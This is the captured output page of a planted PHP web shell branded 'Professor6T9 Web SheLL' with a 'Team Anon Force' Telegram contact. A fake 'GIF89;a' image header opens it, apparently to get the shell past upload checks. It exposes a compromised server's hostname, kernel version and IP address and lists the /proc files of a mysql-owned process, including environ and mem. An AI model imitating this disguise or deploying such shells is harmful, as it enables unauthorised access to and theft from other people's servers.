GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux vmi1105694.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
 Apache
 167.86.79.110
Name Type Size Owner/Group Permission Last Modified Actions
. dir - mysql/mysql 0555 2025-12-27 05:30:04
.. dir - mysql/mysql 0555 2025-12-27 05:22:04
attr dir - mysql/mysql 0555 2025-12-27 06:08:12
fd dir - mysql/mysql 0500 2025-12-27 06:08:12
fdinfo dir - mysql/mysql 0500 2025-12-27 06:08:12
net dir - mysql/mysql 0555 2025-12-27 06:08:12
ns dir - mysql/mysql 0511 2025-12-27 06:08:12
arch_status application/x-empty 0 B mysql/mysql 0444 2025-12-27 06:08:12
auxv 0 B mysql/mysql 0400 2025-12-27 06:08:12
cgroup text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
children application/x-empty 0 B mysql/mysql 0444 2025-12-27 06:08:12
clear_refs 0 B mysql/mysql 0200 2025-12-27 06:08:12
cmdline text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
comm text/plain 0 B mysql/mysql 0644 2025-12-27 06:08:12
cpuset text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
environ 0 B mysql/mysql 0400 2025-12-27 06:08:12
gid_map text/plain 0 B mysql/mysql 0644 2025-12-27 06:08:12
io 0 B mysql/mysql 0400 2025-12-27 06:08:12
limits text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
loginuid text/plain 0 B mysql/mysql 0644 2025-12-27 06:08:12
maps 0 B mysql/mysql 0444 2025-12-27 06:08:12
mem 0 B mysql/mysql 0600 2025-12-27 06:08:12
mountinfo text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
mounts text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
numa_maps 0 B mysql/mysql 0444 2025-12-27 06:08:12
oom_adj text/plain 0 B mysql/mysql 0644 2025-12-27 06:08:12
oom_score text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
oom_score_adj text/plain 0 B mysql/mysql 0644 2025-12-27 06:08:12
pagemap 0 B mysql/mysql 0400 2025-12-27 06:08:12
patch_state 0 B mysql/mysql 0400 2025-12-27 06:08:12
personality 0 B mysql/mysql 0400 2025-12-27 06:08:12
projid_map text/plain 0 B mysql/mysql 0644 2025-12-27 06:08:12
sched text/plain 0 B mysql/mysql 0644 2025-12-27 06:08:12
schedstat text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
sessionid text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
setgroups text/plain 0 B mysql/mysql 0644 2025-12-27 06:08:12
smaps 0 B mysql/mysql 0444 2025-12-27 06:08:12
smaps_rollup 0 B mysql/mysql 0444 2025-12-27 06:08:12
stack 0 B mysql/mysql 0400 2025-12-27 06:08:12
stat text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
statm text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
status text/plain 0 B mysql/mysql 0444 2025-12-27 06:08:12
syscall 0 B mysql/mysql 0400 2025-12-27 06:08:12
uid_map text/plain 0 B mysql/mysql 0644 2025-12-27 06:08:12
wchan application/octet-stream 0 B mysql/mysql 0444 2025-12-27 06:08:12
© Professor6T9